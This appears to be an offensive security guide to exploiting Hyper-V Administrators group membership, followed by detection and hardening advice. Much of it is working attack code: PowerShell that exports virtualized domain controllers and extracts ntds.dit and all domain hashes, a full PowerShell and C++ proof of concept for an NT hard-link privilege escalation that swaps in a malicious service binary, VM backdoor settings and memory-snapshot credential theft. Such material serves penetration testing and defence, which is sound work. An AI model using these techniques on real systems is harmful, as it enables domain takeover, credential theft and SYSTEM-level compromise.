
Hyper-V Administrators Group Exploitation
Comprehensive guide to exploiting Hyper-V Administrators group membership — from VM manipulation to privilege escalation and domain compromise techniques.
Introduction
The Hyper-V Administrators group is a built-in local security group introduced in Windows Server 2008 R2 and Windows 8 that grants members complete control over all Hyper-V features and virtual machines. While this group is designed to allow delegation of virtualization management without granting full Domain Admin or Enterprise Admin rights, it creates severe security implications, particularly in environments where Domain Controllers have been virtualized.
Critical Risk
If Domain Controllers are virtualized on Hyper-V, members of the Hyper-V Administrators group should be considered Domain Admins. They have the capability to clone live DCs, extract the NTDS.dit database offline, and compromise the entire Active Directory forest.
Understanding Hyper-V Administrators
What is Hyper-V Administrators?
The Hyper-V Administrators group provides:
- Full access to Hyper-V management tools and APIs
- Ability to create, modify, and delete virtual machines
- Access to virtual machine configuration files
- Control over virtual hard disks (VHD/VHDX files)
- Management of virtual networks and switches
- Snapshot and checkpoint management
- VM export and import capabilities
Default Capabilities:
- Create and manage VMs without administrator rights
- Access VM console (vmconnect.exe)
- Modify VM settings and resources
- Control VM lifecycle (start, stop, pause, reset)
- Access and modify virtual hard disk files
- Take VM snapshots and checkpoints
- Export and import virtual machines
Well-Known SID:
S-1-5-32-578
Default Members:
- None (group is empty by default)
Why Organizations Use This Group
Organizations assign Hyper-V Administrators membership for several reasons:
-
Separation of Duties
- Dedicated virtualization team without full system admin rights
- Allow VM management without domain-level privileges
- Delegate specific virtualization responsibilities
-
Service Accounts
- Automated VM provisioning and orchestration
- Backup and disaster recovery solutions
- Monitoring and management platforms
- Cloud management gateways
-
Development and Testing
- Developers managing development VMs
- Test environment administrators
- DevOps automation accounts
-
Outsourced Management
- Third-party vendors managing infrastructure
- Managed service providers
- Contractors and consultants
Security Misconception
Many organizations treat Hyper-V Administrators as a "lower privilege" administrative group, not realizing it can provide paths to Domain Admin and SYSTEM-level access through various exploitation techniques.
Attack Vectors and Techniques
Virtual Machine Cloning for Domain Compromise
The most direct and devastating attack against Hyper-V in enterprise environments targets virtualized Domain Controllers.
Step 1: Identify Virtualized Domain Controllers
# List all VMs on the Hyper-V host
Get-VM | Select-Object Name, State, Path, ComputerName
# Identify likely Domain Controllers
Get-VM | Where-Object {
$_.Name -like '*DC*' -or
$_.Name -like '*DomainController*' -or
$_.Name -match '^DC\d+'
} | Select-Object Name, State, Path
# Check VM networking to identify DC role
Get-VM | ForEach-Object {
$vm = $_
$networkAdapters = Get-VMNetworkAdapter -VM $vm
[PSCustomObject]@{
VMName = $vm.Name
State = $vm.State
IPAddresses = ($networkAdapters.IPAddresses -join ', ')
SwitchName = ($networkAdapters.SwitchName -join ', ')
}
} | Format-Table -AutoSizeStep 2: Create VM Checkpoint (Snapshot)
# Create a checkpoint of the running DC
$dcVM = Get-VM -Name "DC01"
Checkpoint-VM -VM $dcVM -SnapshotName "PreExtraction_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
Write-Host "[+] Created checkpoint of DC VM"Why Checkpoint?
Creating a checkpoint before any manipulation:
- Allows for easy restoration if something goes wrong
- Preserves the current state
- Enables offline analysis without impacting production
- Provides plausible deniability ("just a backup")
Step 3: Export the Virtual Machine
# Export VM to accessible location
$exportPath = "C:\Temp\DCExport"
Export-VM -Name "DC01" -Path $exportPath
Write-Host "[+] Exported DC VM to: $exportPath"
# Alternative: Copy just the VHD files
$vm = Get-VM -Name "DC01"
$vhdPaths = $vm.HardDrives.Path
foreach ($vhd in $vhdPaths) {
Copy-Item -Path $vhd -Destination "C:\Temp\DC_Disks\" -Force
Write-Host "[+] Copied: $vhd"
}Step 4: Mount VHD Offline
# Mount the VHD file
$vhdPath = "C:\Temp\DCExport\DC01\Virtual Hard Disks\DC01.vhdx"
$mountedDisk = Mount-VHD -Path $vhdPath -ReadOnly -PassThru
# Get drive letter
$driveLetter = ($mountedDisk | Get-Disk | Get-Partition | Get-Volume).DriveLetter
Write-Host "[+] Mounted VHD at drive: $($driveLetter):"Step 5: Extract NTDS.dit and SYSTEM Hive
# Copy NTDS.dit database
$ntdsSource = "${driveLetter}:\Windows\NTDS\ntds.dit"
$systemSource = "${driveLetter}:\Windows\System32\config\SYSTEM"
Copy-Item -Path $ntdsSource -Destination "C:\Temp\Loot\ntds.dit"
Copy-Item -Path $systemSource -Destination "C:\Temp\Loot\SYSTEM"
Write-Host "[+] Extracted NTDS.dit and SYSTEM hive"
# Dismount VHD
Dismount-VHD -Path $vhdPathStep 6: Extract Domain Credentials
# On attack system with impacket-secretsdump
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
# Alternative: Use DSInternals PowerShell module
Import-Module DSInternals
$bootKey = Get-BootKey -SystemHivePath "C:\Temp\Loot\SYSTEM"
$ntdsDB = Get-ADDBAccount -All -DatabasePath "C:\Temp\Loot\ntds.dit" -BootKey $bootKey
# Export all hashes
$ntdsDB | ForEach-Object {
[PSCustomObject]@{
SamAccountName = $_.SamAccountName
NTHash = ($_.NTHash | ForEach-Object { $_.ToString("X2") }) -join ''
LMHash = ($_.LMHash | ForEach-Object { $_.ToString("X2") }) -join ''
Enabled = $_.Enabled
AdminCount = $_.AdminCount
}
} | Export-Csv -Path "C:\Temp\Loot\domain_hashes.csv" -NoTypeInformation
Write-Host "[+] Extracted $(($ntdsDB | Measure-Object).Count) account hashes"Impact:
- Complete compromise of Active Directory domain
- Access to all user credentials (including Domain Admins)
- Ability to create golden tickets for persistent access
- Lateral movement to any domain-joined system
NT Hard Link Attack for Privilege Escalation
A well-documented technique leverages how the Hyper-V VM Management Service (vmms.exe) handles file permissions when deleting VHD files.
Understanding the Vulnerability
When a VHD/VHDX file is deleted:
- The
vmms.exeprocess (running as SYSTEM) attempts to restore original file permissions - This permission restoration occurs without impersonating the user
- By replacing the VHD with an NT hard link to a protected file, we can cause SYSTEM to grant us permissions on arbitrary files
Patched Vulnerability
This specific NT hard link attack was mitigated in March 2020 Windows updates. However, understanding the technique remains valuable for:
- Testing against unpatched systems
- Demonstrating conceptual risk
- Developing similar exploitation patterns
Attack Workflow
Create Dummy VM with VHD
# Create a new VM with a small VHD
$vmName = "ExploitVM"
$vhdPath = "C:\Users\Public\exploit.vhdx"
# Create VHD
New-VHD -Path $vhdPath -SizeBytes 10MB -Dynamic
# Create VM
New-VM -Name $vmName -MemoryStartupBytes 512MB -VHDPath $vhdPath -Generation 2
Write-Host "[+] Created VM: $vmName with VHD: $vhdPath"Delete the VHD File
# Stop and remove the VM
Stop-VM -Name $vmName -Force
Remove-VM -Name $vmName -Force
# Delete the VHD file manually
Remove-Item -Path $vhdPath -Force
Write-Host "[+] Deleted VHD file"Create NT Hard Link to Target File
# Target: A service binary we want to replace
$targetFile = "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe"
# Create hard link where VHD was
cmd /c mklink /H "C:\Users\Public\exploit.vhdx" $targetFile
Write-Host "[+] Created hard link to: $targetFile"Delete VM (Triggers Permission Restoration)
# When Hyper-V deletes the "VHD" (actually our hardlink),
# vmms.exe restores permissions as SYSTEM on the linked file
Remove-VM -Name $vmName -Force
Write-Host "[+] SYSTEM permission restoration triggered on target file"Verify and Exploit New Permissions
# Check new permissions on target
Get-Acl "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe" | Format-List
# Take ownership
takeown /F "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe"
# Replace with malicious binary
Copy-Item C:\Temp\malicious.exe -Destination "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe" -Force
# Start the service
Start-Service MozillaMaintenance
# Service now runs your code as SYSTEMTarget Files for Exploitation:
- Service binaries (running as SYSTEM)
- System configuration files
- Registry hive files (if accessible)
- Protected system files in System32
Complete PowerShell PoC
function Invoke-HyperVHardLinkEscalation {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$TargetFile,
[string]$TempVHDPath = "C:\Users\Public\exploit_$(Get-Random).vhdx",
[string]$VMName = "TempVM_$(Get-Random)"
)
Write-Host "[*] Hyper-V Hard Link Privilege Escalation PoC" -ForegroundColor Cyan
Write-Host "[*] Target File: $TargetFile" -ForegroundColor Cyan
# Verify Hyper-V Administrators membership
$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
$hypervAdminSID = New-Object Security.Principal.SecurityIdentifier("S-1-5-32-578")
$hypervAdmin = $principal.IsInRole($hypervAdminSID)
if (-not $hypervAdmin) {
Write-Warning "Current user is not a member of Hyper-V Administrators"
return
}
Write-Host "[+] Confirmed Hyper-V Administrators membership" -ForegroundColor Green
# Step 1: Create temporary VHD
Write-Host "[*] Creating temporary VHD..." -ForegroundColor Yellow
try {
New-VHD -Path $TempVHDPath -SizeBytes 10MB -Dynamic -ErrorAction Stop | Out-Null
Write-Host "[+] VHD created: $TempVHDPath" -ForegroundColor Green
} catch {
Write-Error "Failed to create VHD: $_"
return
}
# Step 2: Create temporary VM
Write-Host "[*] Creating temporary VM..." -ForegroundColor Yellow
try {
New-VM -Name $VMName -MemoryStartupBytes 512MB -VHDPath $TempVHDPath -Generation 2 -ErrorAction Stop | Out-Null
Write-Host "[+] VM created: $VMName" -ForegroundColor Green
} catch {
Write-Error "Failed to create VM: $_"
Remove-Item -Path $TempVHDPath -Force -ErrorAction SilentlyContinue
return
}
# Step 3: Remove VM (but not VHD yet)
Write-Host "[*] Removing VM..." -ForegroundColor Yellow
try {
Remove-VM -Name $VMName -Force -ErrorAction Stop
Write-Host "[+] VM removed" -ForegroundColor Green
} catch {
Write-Error "Failed to remove VM: $_"
return
}
# Step 4: Delete VHD file
Write-Host "[*] Deleting VHD file..." -ForegroundColor Yellow
Remove-Item -Path $TempVHDPath -Force
# Step 5: Create hard link to target
Write-Host "[*] Creating NT hard link to target file..." -ForegroundColor Yellow
$mklink = cmd /c mklink /H "`"$TempVHDPath`"" "`"$TargetFile`"" 2>&1
if ($LASTEXITCODE -eq 0) {
Write-Host "[+] Hard link created successfully" -ForegroundColor Green
} else {
Write-Error "Failed to create hard link: $mklink"
return
}
# Step 6: Trigger permission restoration by accessing the file through Hyper-V
Write-Host "[*] Triggering permission restoration..." -ForegroundColor Yellow
try {
# Create another VM pointing to our hardlink
New-VM -Name "${VMName}_2" -MemoryStartupBytes 512MB -VHDPath $TempVHDPath -Generation 2 -ErrorAction Stop | Out-Null
Start-Sleep -Seconds 2
Remove-VM -Name "${VMName}_2" -Force -ErrorAction Stop
Remove-Item -Path $TempVHDPath -Force -ErrorAction SilentlyContinue
Write-Host "[+] Permission restoration triggered" -ForegroundColor Green
} catch {
Write-Warning "Trigger process encountered issues: $_"
}
# Step 7: Verify new permissions
Write-Host "[*] Verifying new permissions..." -ForegroundColor Yellow
try {
$acl = Get-Acl $TargetFile -ErrorAction Stop
$currentUserRights = $acl.Access | Where-Object {
$_.IdentityReference -eq $currentUser.Name
}
if ($currentUserRights) {
Write-Host "[+] SUCCESS! New permissions on target file:" -ForegroundColor Green
$currentUserRights | Format-Table -AutoSize
Write-Host "`n[*] You can now:" -ForegroundColor Cyan
Write-Host " 1. Take ownership: takeown /F `"$TargetFile`"" -ForegroundColor White
Write-Host " 2. Grant full control: icacls `"$TargetFile`" /grant ${env:USERNAME}:F" -ForegroundColor White
Write-Host " 3. Modify the file for privilege escalation" -ForegroundColor White
} else {
Write-Warning "No new permissions detected. Exploit may have failed."
}
} catch {
Write-Error "Failed to check permissions: $_"
}
Write-Host "`n[!] Remember to restore original permissions after testing!" -ForegroundColor Red
}
# Example usage
# Invoke-HyperVHardLinkEscalation -TargetFile "C:\Program Files\SomeService\service.exe"Native C++ Implementation
#include <windows.h>
#include <stdio.h>
#include <aclapi.h>
#define TARGET_FILE L"C:\\Program Files\\Mozilla Maintenance Service\\maintenanceservice.exe"
#define TEMP_VHD L"C:\\Users\\Public\\exploit.vhdx"
BOOL CreateHardLinkToTarget() {
// Delete temp VHD if it exists
DeleteFileW(TEMP_VHD);
// Create hard link
if (CreateHardLinkW(TEMP_VHD, TARGET_FILE, NULL)) {
wprintf(L"[+] Created hard link: %s -> %s\n", TEMP_VHD, TARGET_FILE);
return TRUE;
} else {
wprintf(L"[-] Failed to create hard link: %d\n", GetLastError());
return FALSE;
}
}
BOOL TriggerPermissionRestoration() {
// Use Hyper-V PowerShell cmdlets via WMI/COM
// This is simplified - actual implementation would use Hyper-V WMI classes
// Create VM
wchar_t cmd[512];
swprintf_s(cmd, 512,
L"powershell.exe -Command \"New-VM -Name ExploitVM -MemoryStartupBytes 512MB -VHDPath '%s' -Generation 2\"",
TEMP_VHD);
STARTUPINFOW si = {sizeof(si)};
PROCESS_INFORMATION pi;
if (!CreateProcessW(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
wprintf(L"[-] Failed to create VM\n");
return FALSE;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
// Remove VM (triggers permission restoration)
swprintf_s(cmd, 512,
L"powershell.exe -Command \"Remove-VM -Name ExploitVM -Force\"");
if (!CreateProcessW(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
wprintf(L"[-] Failed to remove VM\n");
return FALSE;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
wprintf(L"[+] Triggered permission restoration\n");
return TRUE;
}
BOOL VerifyPermissions() {
PSECURITY_DESCRIPTOR pSD = NULL;
PACL pDacl = NULL;
DWORD dwRes;
dwRes = GetNamedSecurityInfoW(
TARGET_FILE,
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
&pDacl,
NULL,
&pSD
);
if (dwRes != ERROR_SUCCESS) {
wprintf(L"[-] GetNamedSecurityInfo failed: %d\n", dwRes);
return FALSE;
}
// Check if we have new permissions
BOOL hasAccess = FALSE;
GENERIC_MAPPING genericMapping;
PRIVILEGE_SET privilegeSet;
DWORD privilegeSetLength = sizeof(PRIVILEGE_SET);
DWORD grantedAccess;
BOOL accessStatus;
ZeroMemory(&genericMapping, sizeof(GENERIC_MAPPING));
genericMapping.GenericRead = FILE_GENERIC_READ;
genericMapping.GenericWrite = FILE_GENERIC_WRITE;
genericMapping.GenericExecute = FILE_GENERIC_EXECUTE;
genericMapping.GenericAll = FILE_ALL_ACCESS;
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
LocalFree(pSD);
return FALSE;
}
if (AccessCheck(pSD, hToken, FILE_ALL_ACCESS, &genericMapping,
&privilegeSet, &privilegeSetLength, &grantedAccess, &accessStatus)) {
if (accessStatus) {
wprintf(L"[+] SUCCESS! We have access to the target file\n");
hasAccess = TRUE;
}
}
CloseHandle(hToken);
LocalFree(pSD);
return hasAccess;
}
int wmain(int argc, wchar_t *argv[]) {
wprintf(L"[*] Hyper-V Hard Link Privilege Escalation PoC\n");
wprintf(L"[*] Target: %s\n\n", TARGET_FILE);
if (!CreateHardLinkToTarget()) {
return 1;
}
if (!TriggerPermissionRestoration()) {
return 1;
}
Sleep(2000); // Give system time to apply permissions
if (VerifyPermissions()) {
wprintf(L"\n[+] Exploitation successful!\n");
wprintf(L"[*] You can now take ownership and modify the target file\n");
return 0;
} else {
wprintf(L"\n[-] Exploitation failed\n");
return 1;
}
}Detecting NT Hard Link Attacks
Detection strategies for this attack vector:
1. Monitor File System Changes
# Enable file system auditing on critical directories
$paths = @(
"C:\Program Files",
"C:\Program Files (x86)",
"C:\Windows\System32"
)
foreach ($path in $paths) {
$acl = Get-Acl $path
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
"Everyone",
"ChangePermissions,TakeOwnership,WriteData",
"ContainerInherit,ObjectInherit",
"None",
"Success,Failure"
)
$acl.AddAuditRule($auditRule)
Set-Acl -Path $path -AclObject $acl
}2. Monitor Hyper-V Operations
# Enable Hyper-V operational logging
wevtutil sl Microsoft-Windows-Hyper-V-VMMS-Operational /e:true
# Query for suspicious VM creation/deletion patterns
Get-WinEvent -LogName Microsoft-Windows-Hyper-V-VMMS-Operational |
Where-Object {$_.Id -in @(12000, 12002, 13000, 13002)} | # VM created/deleted
Select-Object TimeCreated, Id, Message |
Group-Object {$_.TimeCreated.ToString("yyyy-MM-dd HH:mm")} |
Where-Object {$_.Count -gt 5} | # Multiple VMs created/deleted in same minute
Format-Table -AutoSize3. Detect Hard Link Creation
# Monitor for mklink usage
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} |
Where-Object {$_.Properties[5].Value -like '*cmd.exe' -and
$_.Properties[8].Value -like '*mklink*'} |
Select-Object TimeCreated,
@{Name='User';Expression={$_.Properties[1].Value}},
@{Name='CommandLine';Expression={$_.Properties[8].Value}} |
Format-Table -Wrap -AutoSize4. File Permission Change Monitoring
// Azure Sentinel / KQL query
SecurityEvent
| where EventID == 4670 // Permissions changed
| where ObjectType == "File"
| where ObjectName contains "Program Files" or ObjectName contains "System32"
| where SubjectUserName == "SYSTEM" // VMMS runs as SYSTEM
| summarize Count = count(),
Files = make_set(ObjectName, 10)
by TimeGenerated, Computer
| where Count > 5VM Configuration File Manipulation
Virtual machine configuration files contain sensitive information and can be modified to compromise VMs.
VM Configuration Files:
.vmcx(VM configuration).vmrs(VM runtime state).vmgs(VM guest state).xml(legacy configuration format)
Locate VM Configuration Files
# Find all VM configuration files
Get-VM | ForEach-Object {
[PSCustomObject]@{
VMName = $_.Name
ConfigPath = $_.ConfigurationLocation
State = $_.State
Version = $_.Version
}
} | Format-Table -AutoSize
# List files in VM directory
$vm = Get-VM -Name "TargetVM"
Get-ChildItem -Path $vm.Path -Recurse | Select-Object FullName, Length, LastWriteTimeExtract Sensitive Information
# VHD/VHDX paths (may contain shared storage credentials)
$vm = Get-VM -Name "TargetVM"
$vm.HardDrives | Select-Object Path, ControllerType, ControllerLocation
# Network configuration
Get-VMNetworkAdapter -VM $vm | Select-Object Name, SwitchName, MacAddress, IPAddresses
# Integration services (may reveal tools and access methods)
Get-VMIntegrationService -VM $vm | Where-Object {$_.Enabled} | Select-Object Name, EnabledModify VM Configuration for Backdoor
# Add your user to VM console access
$vm = Get-VM -Name "TargetVM"
$acl = Get-Acl "\\.\pipe\$($vm.Id)"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
$env:USERNAME,
"FullControl",
"Allow"
)
$acl.AddAccessRule($rule)
Set-Acl -Path "\\.\pipe\$($vm.Id)" -AclObject $acl
# Modify VM to auto-start with malicious changes
Set-VM -Name "TargetVM" -AutomaticStartAction StartCredential Theft from VM Memory
Running VMs have their memory accessible to Hyper-V Administrators.
# Create VM memory dump
$vm = Get-VM -Name "TargetVM"
if ($vm.State -eq "Running") {
# Pause VM
Save-VM -Name "TargetVM"
# Create checkpoint (contains memory state)
Checkpoint-VM -Name "TargetVM" -SnapshotName "MemDump_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
# Resume VM
Start-VM -Name "TargetVM"
# Access snapshot files
$vmPath = $vm.Path
$snapshots = Get-ChildItem -Path "$vmPath\Snapshots" -Recurse
Write-Host "[+] Snapshot files created:"
$snapshots | Where-Object {$_.Extension -in @('.bin','.vsv','.vmrs')} | Select-Object FullName
}
# Alternative: Use Save-VM to create memory dump
Save-VM -Name "TargetVM"
# Memory is now in .bin and .vsv files
# Can be analyzed with tools like VolatilityDetection and Monitoring
Monitoring Hyper-V Operations
Virtual Machine Lifecycle Events
Monitor VM creation, deletion, and modification:
// Hyper-V operational log monitoring
Event
| where EventLog == "Microsoft-Windows-Hyper-V-VMMS-Operational"
| where EventID in (
12000, // VM created
12002, // VM deleted
13000, // VM config changed
18300, // VM export started
18302 // VM import started
)
| extend VMName = tostring(parse_xml(EventData).EventData.Data)
| project TimeGenerated, Computer, EventID, VMName, UserName
| summarize Count = count(),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by Computer, VMName, EventID, UserName
| where Count > 1 or EventID in (18300, 18302)Alert Criteria:
- Multiple VM creations/deletions in short time period
- VM exports (especially of DCs)
- VM operations outside business hours
- VM operations by non-administrative accounts
VHD File Access Monitoring
Track access to virtual hard disk files:
# Enable auditing on VHD storage locations
$vhdPaths = Get-VM | ForEach-Object { Split-Path $_.HardDrives.Path -Parent } | Select-Object -Unique
foreach ($path in $vhdPaths) {
$acl = Get-Acl $path
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
"Everyone",
"Read,Write,Delete,TakeOwnership",
"ContainerInherit,ObjectInherit",
"None",
"Success"
)
$acl.AddAuditRule($auditRule)
Set-Acl -Path $path -AclObject $acl
}
Write-Host "[+] Enabled auditing on VHD storage locations"Detection Query:
SecurityEvent
| where EventID == 4663 // Object access
| where ObjectName endswith ".vhdx" or ObjectName endswith ".vhd"
| where AccessMask contains "0x2" // Write access
| where SubjectUserName !in ("SYSTEM", "NETWORK SERVICE")
| project TimeGenerated, Computer, SubjectUserName, ObjectName, ProcessName
| summarize AccessCount = count(),
Files = make_set(ObjectName)
by Computer, SubjectUserName, bin(TimeGenerated, 1h)
| where AccessCount > 5Checkpoint and Snapshot Monitoring
Checkpoints can be used to extract credentials:
# Monitor for checkpoint creation
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Hyper-V-VMMS-Operational'
ID = 13000 # VM configuration changed (includes checkpoints)
} | Where-Object {$_.Message -like '*snapshot*' -or $_.Message -like '*checkpoint*'} |
Select-Object TimeCreated, Message
# Alert on checkpoints of critical VMs
$criticalVMs = @("DC01", "DC02", "FileServer01")
Get-VM | Where-Object {$_.Name -in $criticalVMs} | ForEach-Object {
$checkpoints = Get-VMSnapshot -VM $_
if ($checkpoints) {
[PSCustomObject]@{
VMName = $_.Name
CheckpointCount = $checkpoints.Count
LatestCheckpoint = ($checkpoints | Sort-Object CreationTime -Descending | Select-Object -First 1).CreationTime
CheckpointNames = ($checkpoints.Name -join ', ')
}
}
} | Format-Table -AutoSizeHyper-V Administrators Group Membership Changes
# Monitor group membership changes
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4732,4733} |
Where-Object {$_.Message -like '*Hyper-V Administrators*'} |
Select-Object TimeCreated,
@{Name='Action';Expression={
if ($_.Id -eq 4732) {'Added'} else {'Removed'}
}},
@{Name='Member';Expression={
($_.Properties[0].Value)
}},
@{Name='Group';Expression={'Hyper-V Administrators'}},
@{Name='ModifiedBy';Expression={$_.Properties[6].Value}} |
Format-Table -AutoSizeDetection Logic:
SecurityEvent
| where EventID in (4732, 4733) // Member added/removed
| extend GroupName = tostring(EventData.TargetUserName)
| where GroupName == "Hyper-V Administrators"
| extend MemberAdded = tostring(EventData.MemberName)
| extend ModifiedBy = tostring(EventData.SubjectUserName)
| project TimeGenerated, Computer,
Action = iff(EventID == 4732, "Added", "Removed"),
MemberAdded, ModifiedByMitigation and Hardening
Eliminate Virtualized Domain Controllers
Best Practice
The single most effective mitigation: Do not virtualize Domain Controllers on Hyper-V where non-Domain Admins have Hyper-V Administrators access.
Alternatives:
- Physical Domain Controllers: Deploy DCs on dedicated physical hardware
- Separate Virtualization Infrastructure: Use different hypervisor for DCs (VMware, etc.) managed by different team
- Azure AD DS: Leverage Azure Active Directory Domain Services for hybrid environments
- Restricted Hyper-V Hosts: Dedicate specific Hyper-V hosts for DCs with strict access controls
Principle of Least Privilege
Audit Current Membership
# Check local Hyper-V Administrators
Get-LocalGroupMember -Group "Hyper-V Administrators"
# Export for review
Get-LocalGroupMember -Group "Hyper-V Administrators" |
Select-Object Name, PrincipalSource, ObjectClass |
Export-Csv -Path C:\Temp\HyperV_Admins_Audit.csv -NoTypeInformation
# Domain-wide audit (if applicable)
Get-ADGroupMember -Identity "Hyper-V Administrators" -Recursive |
Select-Object Name, SamAccountName, ObjectClass |
Export-Csv -Path C:\Temp\HyperV_Admins_Domain_Audit.csv -NoTypeInformationRemove Unnecessary Members
# Remove specific user
Remove-LocalGroupMember -Group "Hyper-V Administrators" -Member "CORP\john.smith"
# Remove all non-service accounts
Get-LocalGroupMember -Group "Hyper-V Administrators" |
Where-Object {$_.Name -notlike '*svc*' -and $_.ObjectClass -eq 'User'} |
ForEach-Object {
Remove-LocalGroupMember -Group "Hyper-V Administrators" -Member $_.Name
Write-Host "[*] Removed: $($_.Name)"
}Implement Just-In-Time Access
function Grant-TemporaryHyperVAccess {
param(
[string]$UserName,
[int]$Hours = 2,
[string]$Justification
)
# Log request
$logEntry = @{
Timestamp = Get-Date
User = $UserName
GrantedBy = $env:USERNAME
Duration = $Hours
Justification = $Justification
}
$logEntry | Export-Csv -Path "C:\Logs\HyperV_JIT_Access.csv" -Append -NoTypeInformation
# Grant access
Add-LocalGroupMember -Group "Hyper-V Administrators" -Member $UserName
Write-Host "[+] Granted Hyper-V Administrators to $UserName for $Hours hours"
# Schedule removal
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -Command `"Remove-LocalGroupMember -Group 'Hyper-V Administrators' -Member '$UserName'; Write-EventLog -LogName Application -Source 'HyperV-JIT' -EventId 1001 -Message 'Removed $UserName from Hyper-V Administrators (JIT expired)'`""
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours($Hours)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "RemoveHyperVAccess_$($UserName.Replace('\','_'))_$(Get-Date -Format 'yyyyMMddHHmmss')" `
-Action $action `
-Trigger $trigger `
-Principal $principal `
-Force | Out-Null
Write-Host "[+] Access will expire at: $((Get-Date).AddHours($Hours))"
}
# Usage
Grant-TemporaryHyperVAccess -UserName "CORP\helpdesk" -Hours 2 -Justification "Troubleshoot VM performance issue Ticket#12345"VHD/VHDX Access Control
Implement strict file system permissions on VM storage:
# Function to lock down VHD storage
function Set-VHDStoragePermissions {
param(
[string[]]$VHDPaths
)
foreach ($path in $VHDPaths) {
if (Test-Path $path) {
# Get current ACL
$acl = Get-Acl $path
# Disable inheritance
$acl.SetAccessRuleProtection($true, $false)
# Remove all existing rules
$acl.Access | ForEach-Object { $acl.RemoveAccessRule($_) }
# Add SYSTEM - Full Control
$systemRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
"SYSTEM",
"FullControl",
"ContainerInherit,ObjectInherit",
"None",
"Allow"
)
$acl.AddAccessRule($systemRule)
# Add Administrators - Full Control
$adminRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
"Administrators",
"FullControl",
"ContainerInherit,ObjectInherit",
"None",
"Allow"
)
$acl.AddAccessRule($adminRule)
# Add Hyper-V Administrators - Read/Execute Only
$hypervRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
"Hyper-V Administrators",
"ReadAndExecute",
"ContainerInherit,ObjectInherit",
"None",
"Allow"
)
$acl.AddAccessRule($hypervRule)
# Apply ACL
Set-Acl -Path $path -AclObject $acl
Write-Host "[+] Locked down: $path"
}
}
}
# Get all VHD storage paths
$vhdPaths = Get-VM | ForEach-Object { Split-Path $_.HardDrives.Path -Parent } | Select-Object -Unique
# Apply restrictive permissions
Set-VHDStoragePermissions -VHDPaths $vhdPathsVM Encryption
Enable VM encryption to protect against offline VHD access:
# Enable VM encryption (requires Windows Server 2016+)
$vm = Get-VM -Name "SensitiveVM"
# Enable TPM for the VM
Enable-VMTPM -VM $vm
# Enable Shielding
Set-VMSecurity -VM $vm -Shielded $true
# Verify encryption
Get-VMSecurity -VM $vm | Select-Object VMName, Shielded, EncryptStateAndVmMigrationTrafficHyper-V Host Hardening
Disable Unnecessary Hyper-V Features
# Disable guest service interface (if not needed)
Get-VM | Get-VMIntegrationService -Name "Guest Service Interface" | Disable-VMIntegrationService
# Restrict VM console connections
Get-VM | Set-VMSecurity -EnableVirtualizationBasedSecurity $trueConfigure Enhanced Session Mode Restrictions
# Disable enhanced session mode to prevent clipboard/file sharing
Set-VMHost -EnableEnhancedSessionMode $falseImplement Network Segmentation
# Create isolated management network for critical VMs
New-VMSwitch -Name "Management-Isolated" -SwitchType Internal
# Assign critical VMs to isolated network
Get-VM -Name "DC01" | Get-VMNetworkAdapter | Connect-VMNetworkAdapter -SwitchName "Management-Isolated"Audit and Logging
Enable comprehensive Hyper-V logging:
# Enable all Hyper-V logs
$hypervLogs = @(
'Microsoft-Windows-Hyper-V-VMMS-Admin',
'Microsoft-Windows-Hyper-V-VMMS-Operational',
'Microsoft-Windows-Hyper-V-Worker-Admin',
'Microsoft-Windows-Hyper-V-VmSwitch-Operational'
)
foreach ($log in $hypervLogs) {
wevtutil sl $log /e:true
wevtutil sl $log /ms:104857600 # 100 MB max size
Write-Host "[+] Enabled: $log"
}
# Increase Security log size for auditing
wevtutil sl Security /ms:1073741824 # 1 GB
# Enable file system auditing on VM paths
auditpol /set /subcategory:"File System" /success:enable /failure:enableReal-World Attack Scenarios
Scenario 1: Domain Compromise via Virtualized DC
Initial Access
Attacker compromises help desk account with Hyper-V Administrators membership
Discovery
# Enumerate VMs
Get-VM | Select-Object Name, State, Path
# Identify DC01 as virtualized domain controllerExploitation
# Create checkpoint
Checkpoint-VM -Name "DC01" -SnapshotName "Backup_$(Get-Date -Format 'yyyyMMdd')"
# Export VM
Export-VM -Name "DC01" -Path "C:\Temp\DCExport"
# Mount VHD offline
$vhd = "C:\Temp\DCExport\DC01\Virtual Hard Disks\DC01.vhdx"
Mount-VHD -Path $vhd -ReadOnlyCredential Extraction
# Extract NTDS.dit and SYSTEM hive
# Use secretsdump or DSInternals to extract all domain hashes
# Obtained: Enterprise Admin NTLM hash
# Used for: Pass-the-hash attack across entire forestImpact
- Complete domain compromise
- Access to all domain resources
- Persistent access via golden tickets
- Lateral movement to all systems
Lessons Learned:
- Virtualized DCs should never be accessible to non-Domain Admins
- Hyper-V Administrators = Domain Admins in this context
